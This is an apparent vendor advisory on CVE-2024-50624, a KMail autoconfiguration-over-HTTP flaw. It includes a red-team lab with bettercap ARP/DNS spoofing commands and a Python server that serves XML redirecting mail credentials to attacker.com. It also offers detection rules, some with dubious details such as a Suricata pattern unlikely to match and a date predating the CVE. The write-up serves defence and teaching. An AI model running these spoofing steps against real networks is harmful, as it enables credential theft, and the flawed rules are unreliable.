CVE-2024-50624

Executive Summary

CVE-2024-50624 is a critical security vulnerability in KDE KMail (versions prior to 6.2.0) that allows a Man-in-the-Middle (MitM) attacker to redirect the email client to an attacker-controlled mail server. The vulnerability resides in the ispdbservice.cpp file, specifically within the account wizard (kmail-account-wizard). The core issue is that KMail fetches mail server autoconfiguration data over cleartext HTTP, using URLs like http://autoconfig.example.com or http://example.com/.well-known/autoconfig. An attacker on the same network can intercept this request and respond with a malicious configuration, effectively hijacking the victim's email account credentials and mail flow.

This vulnerability has a CVSS score of 0.0 in the NVD, but based on the technical details, a more realistic score is 7.4 (High). The attack requires network proximity (MitM position) and user interaction (initiating account setup), but the impact is severe: complete compromise of email credentials and the ability to read, send, and modify emails.

Supply Chain & Package Security

This vulnerability affects the KDE PIM (Personal Information Management) suite, which is distributed as part of major Linux distributions (e.g., Debian, Ubuntu, Fedora, openSUSE). The vulnerable component is kmail-account-wizard, which is a core part of the KMail application. The supply chain risk is moderate, as the vulnerability is in the application logic, not in a dependency library. However, any distribution shipping KMail < 6.2.0 is affected.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Threat Level: High (7.4)

Deep Dive & Mechanics

The vulnerability is in the ispdbservice.cpp file of the kmail-account-wizard component. When a user configures a new email account, KMail attempts to automatically discover the mail server settings (IMAP/SMTP) by querying a well-known URL. The standard protocol for this is Mozilla's Autoconfig, which uses URLs like:

• http://autoconfig.example.com/mail/config-v1.1.xml
• http://example.com/.well-known/autoconfig/mail/config-v1.1.xml

The critical flaw is that KMail uses cleartext HTTP for these requests. An attacker with MitM capabilities can:

1. Intercept the HTTP request to autoconfig.example.com.
2. Respond with a crafted XML configuration pointing to an attacker-controlled IMAP and SMTP server.
3. The victim's KMail then uses these attacker-controlled servers, sending credentials (username/password) to the attacker's server.
4. The attacker can now read all incoming emails and send emails on behalf of the victim.

The vulnerable code path is in ispdbservice.cpp where the URL is constructed and fetched without enforcing HTTPS. The fix in KMail 6.2.0 changes the URL scheme from http:// to https://.

Vulnerable vs. Patched Code

Vulnerable Code (KMail < 6.2.0):

// ispdbservice.cpp (simplified)
QUrl url;
url.setScheme("http"); // VULNERABLE: uses HTTP
url.setHost("autoconfig." + domain);
url.setPath("/mail/config-v1.1.xml");
// ... fetch url

Patched Code (KMail >= 6.2.0):

// ispdbservice.cpp (simplified)
QUrl url;
url.setScheme("https"); // FIXED: uses HTTPS
url.setHost("autoconfig." + domain);
url.setPath("/mail/config-v1.1.xml");
// ... fetch url

The patch is minimal but effective: changing the scheme from http to https ensures the autoconfiguration data is fetched over an encrypted channel, preventing MitM tampering.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Attacker machine with network access to the victim (e.g., same Wi-Fi).
• Tools: bettercap, mitmproxy, or custom Python script.
• A rogue IMAP/SMTP server (e.g., python -m smtpd -n -c DebuggingServer localhost:1025).

Steps:

1. ARP Spoofing: Use bettercap to perform ARP spoofing between the victim and the gateway.

   sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
   

2. DNS Spoofing: Redirect autoconfig.example.com to the attacker's machine.

   sudo bettercap -eval "set dns.spoof.domains autoconfig.example.com; dns.spoof on"
   

3. Serve Malicious Autoconfig: On the attacker machine, serve a crafted XML response.

   # malicious_autoconfig.py
   from http.server import HTTPServer, BaseHTTPRequestHandler
   import json
   
   class Handler(BaseHTTPRequestHandler):
       def do_GET(self):
           if self.path.endswith('.xml'):
               self.send_response(200)
               self.send_header('Content-Type', 'application/xml')
               self.end_headers()
               # Malicious config pointing to attacker's server
               config = """<?xml version="1.0" encoding="UTF-8"?>
   <clientConfig version="1.1">
       <emailProvider id="example.com">
           <domain>example.com</domain>
           <displayName>Example Mail</displayName>
           <displayShortName>Example</displayShortName>
           <incomingServer type="imap">
               <hostname>attacker.com</hostname>
               <port>993</port>
               <socketType>SSL</socketType>
               <username>%EMAILADDRESS%</username>
               <authentication>password-cleartext</authentication>
           </incomingServer>
           <outgoingServer type="smtp">
               <hostname>attacker.com</hostname>
               <port>465</port>
               <socketType>SSL</socketType>
               <username>%EMAILADDRESS%</username>
               <authentication>password-cleartext</authentication>
           </outgoingServer>
       </emailProvider>
   </clientConfig>"""
               self.wfile.write(config.encode())
           else:
               self.send_response(404)
               self.end_headers()
   
   HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
   

4. Trigger: The victim opens KMail and starts the account wizard for user@example.com. KMail fetches the malicious config and connects to attacker.com.
5. Capture Credentials: The attacker's rogue IMAP/SMTP server logs the credentials.

Blue Team (Detection & Defense)

Detection:

• Monitor for HTTP requests to autoconfig.* or */.well-known/autoconfig URLs.
• Alert on DNS queries for autoconfig.* domains that resolve to unexpected IPs.
• Use network monitoring to detect ARP spoofing or DNS spoofing attacks.

Defense:

• Immediate: Upgrade KMail to version 6.2.0 or later.
• Workaround: Manually configure email accounts using known server settings instead of relying on autoconfiguration.
• Network: Enforce HTTPS inspection and block cleartext HTTP autoconfig requests at the firewall.
• Endpoint: Use EDR to detect KMail making HTTP connections to autoconfig domains.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_50624_KMail_Autoconfig_HTTP {
    meta:
        description = "Detects vulnerable KMail ispdbservice.cpp using HTTP for autoconfig"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-50624"
        severity = "high"
    strings:
        $http_scheme = "http://autoconfig." ascii wide nocase
        $http_wellknown = "http://" ascii wide nocase
        $wellknown_path = "/.well-known/autoconfig" ascii wide nocase
    condition:
        ($http_scheme or ($http_wellknown and $wellknown_path))
}

Sigma Rule

title: CVE-2024-50624 - KMail Autoconfig Over HTTP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects KMail making HTTP requests for autoconfiguration, indicating potential exploitation of CVE-2024-50624
author: Valters IT
date: 2024-01-01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50624
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        DestinationHostname|contains: 
            - 'autoconfig.'
        DestinationPort: 80
        Initiated: true
        Image|endswith: 
            - '/kmail-account-wizard'
            - '/kmail'
    condition: selection
falsepositives:
    - Legitimate autoconfiguration over HTTP (rare)
level: high
tags:
    - attack.t1557
    - cve.2024.50624

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-50624 - KMail Autoconfig Over HTTP"; flow:to_server,established; content:"GET"; http_method; content:"/mail/config-v1.1.xml"; http_uri; content:"autoconfig."; http_host; pcre:"/^http:\/\//"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade KMail: Update to version 6.2.0 or later.

   # Debian/Ubuntu
   sudo apt update && sudo apt install kmail
   # Fedora
   sudo dnf update kmail
   # openSUSE
   sudo zypper update kmail
   

2. Manual Configuration: If upgrade is not possible, manually configure email accounts using known server settings (IMAP/SMTP hostnames, ports, encryption) instead of relying on autoconfiguration.

Long-term Mitigations:

• Network Segmentation: Isolate email clients from untrusted networks.
• HTTPS Inspection: Deploy a TLS inspection proxy to block cleartext HTTP autoconfig requests.
• DNS Security: Use DNSSEC and monitor for unauthorized DNS responses.
• User Training: Educate users to verify email server settings manually.

Patch Verification:

• Check installed version:

  kmail --version
  

• Verify the fix in source code:

  grep -r "https://autoconfig" /usr/share/kmail/
  

Valters IT